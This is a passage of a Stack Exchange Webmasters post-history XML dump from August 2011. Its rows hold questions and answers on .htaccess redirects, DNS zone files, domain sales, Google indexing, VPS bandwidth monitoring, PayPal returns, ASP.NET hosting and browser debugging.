  <row Id="43413" PostHistoryTypeId="3" PostId="17953" RevisionGUID="61609e0b-b5c2-4742-8192-f49313757490" CreationDate="2011-08-09T04:55:12.530" UserId="9466" Text="&lt;vps&gt;" />
  <row Id="43414" PostHistoryTypeId="25" PostId="17647" RevisionGUID="964e9e45-3493-405e-b8c4-a46f25993536" CreationDate="2011-08-09T06:34:12.820" Comment="http://twitter.com/#!/StackWebmasters/status/100817135399473152" />
  <row Id="43415" PostHistoryTypeId="2" PostId="17954" RevisionGUID="6e013557-dab2-4178-9519-215affb9dd4c" CreationDate="2011-08-09T07:14:45.107" UserId="9469" Text="Go to ur .htaccess file and put this code there&#xD;&#xA;&#xD;&#xA;RewriteEngine ON&#xD;&#xA;RewriteRule ^/$ http://www.domain.com/sell.html [R=301,L]" />
  <row Id="43416" PostHistoryTypeId="2" PostId="17955" RevisionGUID="2f4867f2-64f9-4591-bcbd-291c947ad103" CreationDate="2011-08-09T07:22:07.267" UserId="8926" Text="I have problem with DNS settings and I cannot find any other way than share my settings.&#xD;&#xA;&#xD;&#xA;The Zone -file contains SOA record, A records, CNAME records, MX records and NS records.&#xD;&#xA;&#xD;&#xA;Is there any danger to share them unmodified?" />
  <row Id="43417" PostHistoryTypeId="1" PostId="17955" RevisionGUID="2f4867f2-64f9-4591-bcbd-291c947ad103" CreationDate="2011-08-09T07:22:07.267" UserId="8926" Text="Any Risk To Share Zone -file of a Website in Internet?" />
  <row Id="43418" PostHistoryTypeId="3" PostId="17955" RevisionGUID="2f4867f2-64f9-4591-bcbd-291c947ad103" CreationDate="2011-08-09T07:22:07.267" UserId="8926" Text="&lt;dns&gt;&lt;privacy&gt;" />
  <row Id="43419" PostHistoryTypeId="2" PostId="17956" RevisionGUID="d25eedda-f038-4c76-aa5a-f91533a4a553" CreationDate="2011-08-09T07:22:38.420" UserId="9469" Text="Most of the search engines considers hyphen as a separator so u don't worry about hyphen. It will be considered as a Keyword &quot;Fun Colleges&quot; &amp; as well as it is much more effective than other three.&#xD;&#xA;&#xD;&#xA;And u know SEO starts from when u thing abt start ur online business." />
  <row Id="43420" PostHistoryTypeId="2" PostId="17957" RevisionGUID="bd5396f6-5351-4bce-b183-617a3a36158c" CreationDate="2011-08-09T08:08:12.900" UserId="8926" Text="I am streamlining my domains under one domain so getting rid of some. I have some about 5 years old domains with stable traffic. What should I do with such domains? Where can I sell them?&#xD;&#xA;&#xD;&#xA;I found an article [here][1] but I am unsure of its quality. It suggested [GreatDomains][2] -website and [Afternic][3] -website. I would also appreciate it how you usually determine the valuation of a domain.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.askdavetaylor.com/how_do_i_sell_my_unused_domain_names.html&#xD;&#xA;  [2]: http://www.greatdomains.com/&#xD;&#xA;  [3]: http://www.afternic.com/" />
  <row Id="43421" PostHistoryTypeId="1" PostId="17957" RevisionGUID="bd5396f6-5351-4bce-b183-617a3a36158c" CreationDate="2011-08-09T08:08:12.900" UserId="8926" Text="Sell Unused domains?" />
  <row Id="43422" PostHistoryTypeId="3" PostId="17957" RevisionGUID="bd5396f6-5351-4bce-b183-617a3a36158c" CreationDate="2011-08-09T08:08:12.900" UserId="8926" Text="&lt;domain-names&gt;" />
  <row Id="43423" PostHistoryTypeId="2" PostId="17958" RevisionGUID="8f43939e-e3b6-4524-b8c3-2785e0ffda6c" CreationDate="2011-08-09T08:24:23.297" UserId="5988" Text="We're launching a redeveloped site soon. Google has already indexed the site that we're going to replace, but the links that google indexed are no longer applicable, because the new site has a totally new routing scheme. We have new sitemaps for the new site. Is it possible to get google to re-index the new site, or do we have to wait until it gets around to it?" />
  <row Id="43424" PostHistoryTypeId="1" PostId="17958" RevisionGUID="8f43939e-e3b6-4524-b8c3-2785e0ffda6c" CreationDate="2011-08-09T08:24:23.297" UserId="5988" Text="Is it possible to 'trigger' indexing on a site?" />
  <row Id="43425" PostHistoryTypeId="3" PostId="17958" RevisionGUID="8f43939e-e3b6-4524-b8c3-2785e0ffda6c" CreationDate="2011-08-09T08:24:23.297" UserId="5988" Text="&lt;google&gt;&lt;sitemap&gt;&lt;indexing&gt;" />
  <row Id="43426" PostHistoryTypeId="2" PostId="17959" RevisionGUID="ce7daaa8-147d-48d4-b4d4-957f34ba90fa" CreationDate="2011-08-09T08:39:11.180" UserId="4424" Text="I'm looking for a secure wiki technology that will allow shared note taking and documentation. Any advice will be appreciated! " />
  <row Id="43427" PostHistoryTypeId="1" PostId="17959" RevisionGUID="ce7daaa8-147d-48d4-b4d4-957f34ba90fa" CreationDate="2011-08-09T08:39:11.180" UserId="4424" Text="Secure enterprise wiki technology?" />
  <row Id="43428" PostHistoryTypeId="3" PostId="17959" RevisionGUID="ce7daaa8-147d-48d4-b4d4-957f34ba90fa" CreationDate="2011-08-09T08:39:11.180" UserId="4424" Text="&lt;tools&gt;&lt;recommendations&gt;&lt;wiki&gt;" />
  <row Id="43429" PostHistoryTypeId="5" PostId="17959" RevisionGUID="2b2fb84e-9ab2-4f32-a488-70d3437ca0e1" CreationDate="2011-08-09T08:48:17.500" UserId="4424" Comment="added 59 characters in body" Text="I'm looking for a secure wiki technology that will allow shared note taking and documentation. Security, organization, and revision control are critical. Any advice will be appreciated! " />
  <row Id="43430" PostHistoryTypeId="2" PostId="17960" RevisionGUID="f2dee014-b241-40c1-af47-16a27c174865" CreationDate="2011-08-09T08:50:12.530" UserId="1643" Text="Because you've created a sitemap you can register with [Google webmaster tools][1] if you haven't already, and then submit it. (Site configuration -&gt; sitemaps.) This doesn't guarantee anything, but increases your chances.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools" />
  <row Id="43431" PostHistoryTypeId="5" PostId="17950" RevisionGUID="c06f299a-1c7d-4727-b26a-2f960d58fb4c" CreationDate="2011-08-09T08:53:14.083" UserId="1643" Comment="TURNED DOWN THE volume" Text="I have built an e-commerce website in Flash CS5 selling downloadable digital media. All products are linked to paypal but now I have to get the payer back to their purchased download after payment. How do I do that?" />
  <row Id="43432" PostHistoryTypeId="6" PostId="17950" RevisionGUID="c06f299a-1c7d-4727-b26a-2f960d58fb4c" CreationDate="2011-08-09T08:53:14.083" UserId="1643" Comment="TURNED DOWN THE volume" Text="&lt;websites&gt;&lt;flash&gt;&lt;paypal&gt;&lt;development&gt;" />
  <row Id="43433" PostHistoryTypeId="2" PostId="17961" RevisionGUID="a1a28e1d-c54e-4f11-a637-d2a8954497f5" CreationDate="2011-08-09T09:26:27.937" UserId="7575" Text="I have couple of sites Like `http://domain.com`, `http://sub1.domain.com`, `http://sub2.domain.com` and suppose i have a ad block 300x250 Can i use the ads to all those sites or i should make different ad block to use in every site? Does it affect the ad relevancy? " />
  <row Id="43434" PostHistoryTypeId="1" PostId="17961" RevisionGUID="a1a28e1d-c54e-4f11-a637-d2a8954497f5" CreationDate="2011-08-09T09:26:27.937" UserId="7575" Text="Should I use same google adsense ad block on different site" />
  <row Id="43435" PostHistoryTypeId="3" PostId="17961" RevisionGUID="a1a28e1d-c54e-4f11-a637-d2a8954497f5" CreationDate="2011-08-09T09:26:27.937" UserId="7575" Text="&lt;google&gt;&lt;google-adsense&gt;" />
  <row Id="43436" PostHistoryTypeId="17" PostId="17962" RevisionGUID="9e9193e0-de9b-46f2-ad47-0a9f5daa15af" CreationDate="2011-08-09T09:28:38.280" UserId="-1" Comment="from http://serverfault.com/questions/299114/unable-to-run-ftpserver-java-file-in-tomcat-server" Text="" />
  <row Id="43437" PostHistoryTypeId="2" PostId="17962" RevisionGUID="3c6daaa3-31a2-4d7a-83d0-d7d4c9e91ff3" CreationDate="2011-08-09T06:08:35.440" UserDisplayName="Jeevan Dongre" Text="My FTPserver is running in /folder/ftpserver.java in the newly deployed but before that means in the previous services deployed it was placed in /folder/folder1/folder2/ftpserver.&#xD;&#xA;&#xD;&#xA;Even after changing the path and running the ftpserver in the new path, the tomcat6 server is taken the old and throwing the error which says&#xD;&#xA;&#xD;&#xA;Exception in thread &quot;main&quot; java.lang.NoClassDefFoundError: FTPServer (wrong name: Contact/share/sockclass/FTPServer)&#xD;&#xA;    at java.lang.ClassLoader.defineClass1(Native Method)&#xD;&#xA;    at java.lang.ClassLoader.defineClass(ClassLoader.java:634)&#xD;&#xA;    at java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)&#xD;&#xA;    at java.net.URLClassLoader.defineClass(URLClassLoader.java:277)&#xD;&#xA;    at java.net.URLClassLoader.access$000(URLClassLoader.java:73)&#xD;&#xA;    at java.net.URLClassLoader$1.run(URLClassLoader.java:212)&#xD;&#xA;    at java.security.AccessController.doPrivileged(Native Method)&#xD;&#xA;    at java.net.URLClassLoader.findClass(URLClassLoader.java:205)&#xD;&#xA;    at java.lang.ClassLoader.loadClass(ClassLoader.java:321)&#xD;&#xA;    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:294)&#xD;&#xA;    at java.lang.ClassLoader.loadClass(ClassLoader.java:266)&#xD;&#xA;Could not find the main class: FTPServer. Program will exit.&#xD;&#xA;&#xD;&#xA;how do i resolve this problem kindly help me I am novice for tomcat." />
  <row Id="43438" PostHistoryTypeId="1" PostId="17962" RevisionGUID="3c6daaa3-31a2-4d7a-83d0-d7d4c9e91ff3" CreationDate="2011-08-09T06:08:35.440" UserDisplayName="Jeevan Dongre" Text="Unable to run FTPServer java file in tomcat server" />
  <row Id="43439" PostHistoryTypeId="3" PostId="17962" RevisionGUID="3c6daaa3-31a2-4d7a-83d0-d7d4c9e91ff3" CreationDate="2011-08-09T06:08:35.440" UserDisplayName="Jeevan Dongre" Text="&lt;linux&gt;&lt;amazon-ec2&gt;" />
  <row Id="43440" PostHistoryTypeId="25" PostId="17683" RevisionGUID="8421edec-f6a3-4af6-8051-fdf37bbe847f" CreationDate="2011-08-09T09:34:12.370" Comment="http://twitter.com/#!/StackWebmasters/status/100862433098342400" />
  <row Id="43441" PostHistoryTypeId="2" PostId="17963" RevisionGUID="fc195d68-8038-4176-945e-4c6d62256552" CreationDate="2011-08-09T09:38:09.833" UserId="1643" Text="Any wiki that has logins, a database that can be encrypted, and runs on SSL should provide enough security for you. You will also need to take security measures as you would with any system - physical access to PCs and the server, making sure that you can trust your users etc. You can ask specific questions on http://security.stackexchange.com.&#xD;&#xA;&#xD;&#xA;Every wiki I've seen has revision control. &#xD;&#xA;&#xD;&#xA;As for organisation, you probably need to be more specific.&#xD;&#xA;" />
  <row Id="43443" PostHistoryTypeId="2" PostId="17965" RevisionGUID="6411265c-ff77-4c75-9daf-0faaf065e7b5" CreationDate="2011-08-09T09:40:22.403" UserId="1643" Text="The whole point of DNS is to make this information to other computers, so I can't think of anything that you wouldn't want to make public. &#xD;&#xA;&#xD;&#xA;You can see what can already be found out about your domain using [this tool][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pageutils.com/dns-query-tool.php" />
  <row Id="43445" PostHistoryTypeId="2" PostId="17967" RevisionGUID="ee03f72a-289b-4b7b-b364-6d5027c84856" CreationDate="2011-08-09T10:16:37.517" UserId="233" Text="The hyphen isn't a huge problem but they are slightly more complex for users and you don't get any bonus from exact match domains. This was discussed in a [recent Stack Overflow podcast][1] so give that a listen.&#xD;&#xA;&#xD;&#xA;If campus isn't your main keyword then ignore #1. Ignore #2 because of the hyphen. Out of the rest, choose whichever would be easier to remember. Neither are too long but they are getting close.&#xD;&#xA;&#xD;&#xA;Choose one that rolls off the tongue a little better and makes grammatical sense as a phrase. For example &quot;collegeratingsfun.com&quot; would probably not make sense.&#xD;&#xA;&#xD;&#xA;Finally, if funcolleges.com is your ideal domain, you should try and buy it, if it's available for sale. It is probably worth spending a little more for a better domain in the long run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2011/07/se-podcast-12/" />
  <row Id="43446" PostHistoryTypeId="5" PostId="17954" RevisionGUID="281e4d61-c3b8-461d-b8c8-9204c48be728" CreationDate="2011-08-09T10:18:12.430" UserId="233" Comment="fixed shoddy grammar" Text="Go to your .htaccess file and put this code there:&#xD;&#xA;&#xD;&#xA;RewriteEngine ON&#xD;&#xA;RewriteRule ^/$ http://www.domain.com/sell.html [R=301,L]" />
  <row Id="43447" PostHistoryTypeId="2" PostId="17968" RevisionGUID="a90e74f3-c80d-4af8-9673-a297d50be819" CreationDate="2011-08-09T10:18:55.377" UserId="8009" Text="The same ad block will display different adverts relevant to the content on each page it displays on. This works on a page-level, so if your site was http://www.fishing.com (about fishing), it would display ads that are relevant to fishing. If you have http://www.fishing.com/piano (about piano...), then you would get ads relevant to piano, from the same ad block (code)." />
  <row Id="43448" PostHistoryTypeId="5" PostId="17953" RevisionGUID="911ea03c-1565-490c-b9fe-49b14a729f46" CreationDate="2011-08-09T10:26:33.387" UserId="233" Comment="BW -&gt; bandwidth, not a common acronym" Text="I have a VPS that suspended for use out of bandwidth limitation. In DirectAdmin report I have no change in the use of bandwidth and all things are normal (bandwidth usage is less than 4 GB and my limitation is 250 GB), but in my server company's report VPS use about 1.5 TB of bandwidth just in 4 days!&#xD;&#xA;&#xD;&#xA;How can I found problem when in direct admin bandwidth usage is normal and I dont install any other service in my VPS in 4-5 months ago. May I monitor my bandwidth and ports by other tools?!&#xD;&#xA;&#xD;&#xA;SERVER DETAILS: Open VZ - Cent OS - HDD: 10 GB - BW: 250 GB/Monthly - CP:DirectAdmin - i have a root access. 1 dedicated IP.&#xD;&#xA;&#xD;&#xA;Bandwidth Used in my Server Company Report : over 1.6 TB in 4 days.&#xD;&#xA;&#xD;&#xA;Bandwitdth Used in my DirectAdmin Report: Lessthan 5 GB.&#xD;&#xA;" />
  <row Id="43449" PostHistoryTypeId="4" PostId="17953" RevisionGUID="911ea03c-1565-490c-b9fe-49b14a729f46" CreationDate="2011-08-09T10:26:33.387" UserId="233" Comment="BW -&gt; bandwidth, not a common acronym" Text="How can i monitor my VPS real bandwidth usage?" />
  <row Id="43450" PostHistoryTypeId="6" PostId="17953" RevisionGUID="911ea03c-1565-490c-b9fe-49b14a729f46" CreationDate="2011-08-09T10:26:33.387" UserId="233" Comment="BW -&gt; bandwidth, not a common acronym" Text="&lt;vps&gt;&lt;bandwidth&gt;" />
  <row Id="43451" PostHistoryTypeId="2" PostId="17969" RevisionGUID="954a5357-c3d3-4d2c-ae61-97cdcc05199e" CreationDate="2011-08-09T10:28:13.937" UserId="-1" Text="" />
  <row Id="43452" PostHistoryTypeId="2" PostId="17970" RevisionGUID="1016ad04-4ee4-4ad6-9281-a2dfe15c5481" CreationDate="2011-08-09T10:28:13.937" UserId="-1" Text="" />
  <row Id="43453" PostHistoryTypeId="2" PostId="17971" RevisionGUID="c9dc336e-3aa2-466c-bf4d-987bae242896" CreationDate="2011-08-09T10:35:22.487" UserId="7198" Text="You could install a utility that counts bytes passing over the network interface, such as [vnStat](http://humdi.net/vnstat/). Installation instructions for CentOS are [here.](http://abdussamad.com/archives/154-Monitoring-bandwidth-usage-with-vnStat-under-CentOS-5-Linux.html)&#xD;&#xA;&#xD;&#xA;Note that this won't help you check how much bandwidth you used before you installed it, so you won't be able to use it to contest the figure reported by your hosting company this time.&#xD;&#xA;&#xD;&#xA;You might consider that DirectAdmin [does not log bandwidth usage for the following](http://help.directadmin.com/item.php?id=253):&#xD;&#xA;&#xD;&#xA;&gt; - Pop/Imap.&#xD;&#xA;&gt; - Data transfers from within scripts, such as uploads/downloads done&#xD;&#xA;&gt; by code within a script.&#xD;&#xA;&gt; - SSH level commands such as wget.&#xD;&#xA;&gt; - Service updates using custombuild, yum, apt-get.&#xD;&#xA;&gt; - Any low level network traffic, pings, etc.&#xD;&#xA;&#xD;&#xA;Of those, it's possible that email and scripted file downloads/uploads may be contributing significantly to your total bandwidth figure. I suggest that you ask your hosting company to confirm where the bandwidth's being used this time, and log it yourself in future with vnStat so that you're able to contest future reports if necessary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43455" PostHistoryTypeId="2" PostId="17972" RevisionGUID="3453a748-4a80-47e5-bb73-69e7c19f64a0" CreationDate="2011-08-09T10:48:49.960" UserId="7198" Text="Use [PayPal auto return.](https://www.paypal.com/cgi-bin/webscr?cmd=p/mer/express_return_summary-outside) Set the 'return' variable to the URL you want the buyer to be returned to in the initial payment request you make to PayPal via ActionScript. (Search for 'return' on [this PayPal docs page.](https://merchant.paypal.com/us/cgi-bin/?cmd=_render-content&amp;content_ID=developer/e_howto_html_Appx_websitestandard_htmlvariables))" />
  <row Id="43456" PostHistoryTypeId="17" PostId="17973" RevisionGUID="3649a71e-e569-442c-9ab5-690a38b2328d" CreationDate="2011-08-09T11:14:41.210" UserId="-1" Comment="from http://stackoverflow.com/questions/6994997/how-to-host-asp-net-website" Text="" />
  <row Id="43457" PostHistoryTypeId="17" PostId="17974" RevisionGUID="e6bc4e16-c909-4483-9ae3-82f779be514a" CreationDate="2011-08-09T11:14:41.210" UserId="-1" Comment="from http://stackoverflow.com/questions/6994997/how-to-host-asp-net-website" Text="" />
  <row Id="43458" PostHistoryTypeId="17" PostId="17975" RevisionGUID="b54b6201-93ee-4892-a279-4a1c0ca368f6" CreationDate="2011-08-09T11:14:41.210" UserId="-1" Comment="from http://stackoverflow.com/questions/6994997/how-to-host-asp-net-website" Text="" />
  <row Id="43459" PostHistoryTypeId="2" PostId="17974" RevisionGUID="e429e16c-1d3d-4e30-8c34-3450f0ad8f87" CreationDate="2011-08-09T10:56:04.520" UserId="9473" UserDisplayName="AlphaMale" Text="Just ask a hosting provider for hosting services. Ask them to provide IIS services, SQL, .NET framework etc on server. Tell them your desired domain name and they'll provide youwith that domain name and ftp details. Use them to upload your website to your server and here you go. Your website is now in the cloud. :-)&#xD;&#xA;&#xD;&#xA;Or just pay a visit to this link for further details:&#xD;&#xA;&#xD;&#xA;http://www.asp.net/hosting/tutorials/deploying-your-site-using-visual-studio-cs" />
  <row Id="43460" PostHistoryTypeId="2" PostId="17975" RevisionGUID="7553c739-993e-4012-828e-3b10a4b71163" CreationDate="2011-08-09T10:56:58.310" UserDisplayName="Karan Shah" Text="&#xD;&#xA;hi just refer the following link and it will provide you with an idea of hosting.&#xD;&#xA;Links:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[W3schools tutorial on web hosting][1]&#xD;&#xA;&#xD;&#xA;[http://www.asp.net/hosting/tutorials][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/hosting/default.asp&#xD;&#xA;  [2]: http://www.asp.net/hosting/tutorials" />
  <row Id="43461" PostHistoryTypeId="2" PostId="17973" RevisionGUID="f6477c86-5465-46de-986c-a247c44b939c" CreationDate="2011-08-09T10:48:40.233" UserDisplayName="Hemant Aggarwal" Text="I developed a website on my pc using visual studio 2005 and sql server 2005.&#xD;&#xA;Now **i want to make my website live on the internet**&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt; what to do for thisTell me ." />
  <row Id="43462" PostHistoryTypeId="1" PostId="17973" RevisionGUID="f6477c86-5465-46de-986c-a247c44b939c" CreationDate="2011-08-09T10:48:40.233" UserDisplayName="Hemant Aggarwal" Text="how to host ASP.NET website?" />
  <row Id="43463" PostHistoryTypeId="3" PostId="17973" RevisionGUID="f6477c86-5465-46de-986c-a247c44b939c" CreationDate="2011-08-09T10:48:40.233" UserDisplayName="Hemant Aggarwal" Text="&lt;web-hosting&gt;" />
  <row Id="43464" PostHistoryTypeId="2" PostId="17976" RevisionGUID="b15369d8-f4de-48ac-aeb7-b7c2e965a4bd" CreationDate="2011-08-09T11:25:36.330" UserId="8557" Text="I am using the Google Plus One button. Is it recommended that I use the Google Plus one Button the whole website on all pages or should I use the button for individual pages. For example, if it was the button for the whole website, then it would be in the header and would +1 my main domain but if it was in individual pages, then it would be under the title of that page and obviously the URL to be +1'd would be the page URL. Which one do you suggest?" />
  <row Id="43465" PostHistoryTypeId="1" PostId="17976" RevisionGUID="b15369d8-f4de-48ac-aeb7-b7c2e965a4bd" CreationDate="2011-08-09T11:25:36.330" UserId="8557" Text="Google +1 the entire site or individual pages?" />
  <row Id="43466" PostHistoryTypeId="3" PostId="17976" RevisionGUID="b15369d8-f4de-48ac-aeb7-b7c2e965a4bd" CreationDate="2011-08-09T11:25:36.330" UserId="8557" Text="&lt;google&gt;" />
  <row Id="43467" PostHistoryTypeId="5" PostId="17976" RevisionGUID="2270c3a6-534a-4da5-97c3-933bab746b67" CreationDate="2011-08-09T11:40:09.630" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Google+1 button strategy - Combined +1s or separate +1s?](http://webmasters.stackexchange.com/questions/16424/google1-button-strategy-combined-1s-or-separate-1s)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am using the Google Plus One button. Is it recommended that I use the Google Plus one Button the whole website on all pages or should I use the button for individual pages. For example, if it was the button for the whole website, then it would be in the header and would +1 my main domain but if it was in individual pages, then it would be under the title of that page and obviously the URL to be +1'd would be the page URL. Which one do you suggest?" />
  <row Id="43468" PostHistoryTypeId="10" PostId="17976" RevisionGUID="da7db100-a325-454f-973f-8480f05a8efb" CreationDate="2011-08-09T11:40:08.663" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43469" PostHistoryTypeId="10" PostId="17962" RevisionGUID="184426a8-a051-45db-9762-09da6f5b7b36" CreationDate="2011-08-09T11:41:16.540" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43470" PostHistoryTypeId="10" PostId="17951" RevisionGUID="75d44dc0-cf1a-4c13-9067-1332ac17be66" CreationDate="2011-08-09T11:42:06.820" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1643,&quot;DisplayName&quot;:&quot;paulmorriss&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43471" PostHistoryTypeId="5" PostId="17970" RevisionGUID="acddb2e5-0370-41b6-afe5-fa3e7c294fe3" CreationDate="2011-08-09T11:43:06.943" UserId="1643" Comment="added 85 characters in body" Text="The domain is the part of the URL after the // and before the /, such as example.com." />
  <row Id="43472" PostHistoryTypeId="24" PostId="17970" RevisionGUID="acddb2e5-0370-41b6-afe5-fa3e7c294fe3" CreationDate="2011-08-09T11:43:06.943" Comment="Proposed by 1643 approved by 1253 edit id of 479" />
  <row Id="43474" PostHistoryTypeId="5" PostId="17973" RevisionGUID="4ca3bf2a-e867-41e4-8cb9-1d6b12b1642e" CreationDate="2011-08-09T11:45:46.377" UserId="1253" Comment="modified tags, minor text edits" Text="I developed a website on my pc using visual studio 2005 and sql server 2005. Now I want to make my website live on the internet.&#xD;&#xA;&#xD;&#xA;How to publish a website built using ASP.NET?" />
  <row Id="43475" PostHistoryTypeId="4" PostId="17973" RevisionGUID="4ca3bf2a-e867-41e4-8cb9-1d6b12b1642e" CreationDate="2011-08-09T11:45:46.377" UserId="1253" Comment="modified tags, minor text edits" Text="How to publish a website built using ASP.NET?" />
  <row Id="43476" PostHistoryTypeId="6" PostId="17973" RevisionGUID="4ca3bf2a-e867-41e4-8cb9-1d6b12b1642e" CreationDate="2011-08-09T11:45:46.377" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-hosting&gt;&lt;asp.net&gt;" />
  <row Id="43477" PostHistoryTypeId="10" PostId="17952" RevisionGUID="91129560-2f13-45cb-a9a4-aa4979bda4c8" CreationDate="2011-08-09T11:46:51.663" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43478" PostHistoryTypeId="2" PostId="17977" RevisionGUID="2123933b-d304-4a0b-9442-86f60e03271d" CreationDate="2011-08-09T12:06:38.003" UserId="6113" Text="+1 has been designed for marking interesting, cool or useful stuff on the web, not necesairly for indicating that you like a website in general. For this reason I think that the correct approach should be to provide individual articles (posts, galleries and so on) with individual +1 buttons. There are at least three advantages to this approach:&#xD;&#xA;&#xD;&#xA;1. It is more likely that people will find a specific article worth clicking the +1 button. Even if the rest of your website is not that interesting to them, this single blog post you have written may be something they will recommend to their friends because it shows something cool or answers a particular question.&#xD;&#xA;1. It encourages deep linking, i.e. direct links to individual pages on your website. This is good for the same reason as in the previous point. You are more likely to be visited by people if you offer valuable content on a specific subject. People look for specific things rather than for &quot;generally cool websites&quot;.&#xD;&#xA;1. You avoid confusion. Since it is more probable that people will want to recommend a single part of your website, it is more intuitive to have individual +1s for each part." />
  <row Id="43479" PostHistoryTypeId="5" PostId="17949" RevisionGUID="8c76649d-2b44-4086-af7e-ec86805eccb1" CreationDate="2011-08-09T12:15:40.563" UserId="4655" Comment="deleted 4 characters in body" Text="One ugly solution I can think of right now is to create absolute positioned div at top-right corner of the page. Width of 50%, background color grey. In the middle there is your background. You can use another div to set the background for the other side for consistency, but it's much easier to set the proper background for your `body`. &#xD;&#xA;&#xD;&#xA;You can improve this technique using multiple backgrounds (http://techknack.net/css-trick-two-background-images/) eliminating the need for divs, but introducing tiled images." />
  <row Id="43480" PostHistoryTypeId="25" PostId="17947" RevisionGUID="682824c8-0d18-4d90-98f6-003667cfc496" CreationDate="2011-08-09T12:34:12.700" Comment="http://twitter.com/#!/StackWebmasters/status/100907731195662336" />
  <row Id="43481" PostHistoryTypeId="2" PostId="17978" RevisionGUID="342cfcaa-346a-4f03-9595-9b384601c5a2" CreationDate="2011-08-09T13:27:58.057" UserId="7240" Text="Just finished this site: http://brodr-haukaas.no And to my horror it doesn't work properly in IE. &#xD;&#xA;&#xD;&#xA;Something is breaking my slider script, and I don't have much experience in debugging JS code using any of the browser debuggers. I need to use the IE9 debugging tool, but how would I do the break points? Where should I start? It would be great if someone could point me to some good resources with examples to go from. &#xD;&#xA;&#xD;&#xA;*Not sure if this belongs under Wordpress, programming or here. But I feel it's a fairly general web debug question.*&#xD;&#xA;&#xD;&#xA;Cheers,&#xD;&#xA;Nils N. H." />
  <row Id="43482" PostHistoryTypeId="1" PostId="17978" RevisionGUID="342cfcaa-346a-4f03-9595-9b384601c5a2" CreationDate="2011-08-09T13:27:58.057" UserId="7240" Text="How to debug this site in IE9?" />
  <row Id="43483" PostHistoryTypeId="3" PostId="17978" RevisionGUID="342cfcaa-346a-4f03-9595-9b384601c5a2" CreationDate="2011-08-09T13:27:58.057" UserId="7240" Text="&lt;web-development&gt;&lt;internet-explorer&gt;" />
  <row Id="43484" PostHistoryTypeId="2" PostId="17979" RevisionGUID="9cf81f43-5568-4088-9c93-1c51f0cb3f0f" CreationDate="2011-08-09T13:32:54.307" UserId="1643" Text="IE has it's own developer tools built in. Just press F12.&#xD;&#xA;&#xD;&#xA;Microsoft have their own documentation: [How to use F12 Developer Tools to Debug your Webpages][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/gg589507%28VS.85%29.aspx" />
  <row Id="43485" PostHistoryTypeId="5" PostId="17978" RevisionGUID="6dfddbe5-e218-403b-bc28-5da7e47b6cc2" CreationDate="2011-08-09T13:47:23.703" UserId="1643" Comment="deleted 23 characters in body" Text="Just finished this site: http://brodr-haukaas.no And to my horror it doesn't work properly in IE. &#xD;&#xA;&#xD;&#xA;Something is breaking my slider script, and I don't have much experience in debugging JS code using any of the browser debuggers. I need to use the IE9 debugging tool, but how would I do the break points? Where should I start? It would be great if someone could point me to some good resources with examples to go from. &#xD;&#xA;&#xD;&#xA;*Not sure if this belongs under Wordpress, programming or here. But I feel it's a fairly general web debug question.*" />
  <row Id="43486" PostHistoryTypeId="2" PostId="17980" RevisionGUID="f5ecd6d2-5fbf-41b4-b82f-87b5acca35f6" CreationDate="2011-08-09T13:48:06.497" UserId="9477" Text="I run a forum which serves its pages as XHTML+MathML+SVG; in full:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN&quot; &quot;http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg-flat.dtd&quot;&gt;&#xD;&#xA;&#xD;&#xA;Using the MathPlayer plugin, Internet Explorer users can use this site.  However, sometimes someone is using the forum from IE and isn't able to install MathPlayer (maybe they're on a public machine somewhere).  Then IE (at least 6&amp;7) complains about the XHTML and offers just to download the file.&#xD;&#xA;&#xD;&#xA;I read on the w3c site how to get around this using an XSL transformation (&lt;http://www.w3.org/MarkUp/2004/xhtml-faq#ie&gt;).  When I put this in place, I found that Chrome was now complaining vociferously about undefined entities (the specific one was `&amp;nbsp;` but testing shows that that's not relevant).&#xD;&#xA;&#xD;&#xA;Bizarrely, I can get round this by _manually_ declaring the entities in the DOCTYPE:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN&quot; &quot;http://www.w3.org/2002/04/xhtml-math-svg/xhtml-math-svg-flat.dtd&quot; [&#xD;&#xA;    &lt;!ENTITY nbsp &quot;&amp;#160;&quot;&gt;&#xD;&#xA;    ]&gt;&#xD;&#xA;&#xD;&#xA;but I'd rather not do this for the whole gamut of entities possible.  I say &quot;bizarrely&quot; because the XHTML+MathML+SVG dtd does, as far as I can see, declare these entities.  So somehow these are getting missed out.&#xD;&#xA;&#xD;&#xA;Is there a way around this problem?  Can I serve XHTML-with-entities to IE?&#xD;&#xA;&#xD;&#xA;In case it matters, the pages are generated by a php script and are served via apache, so 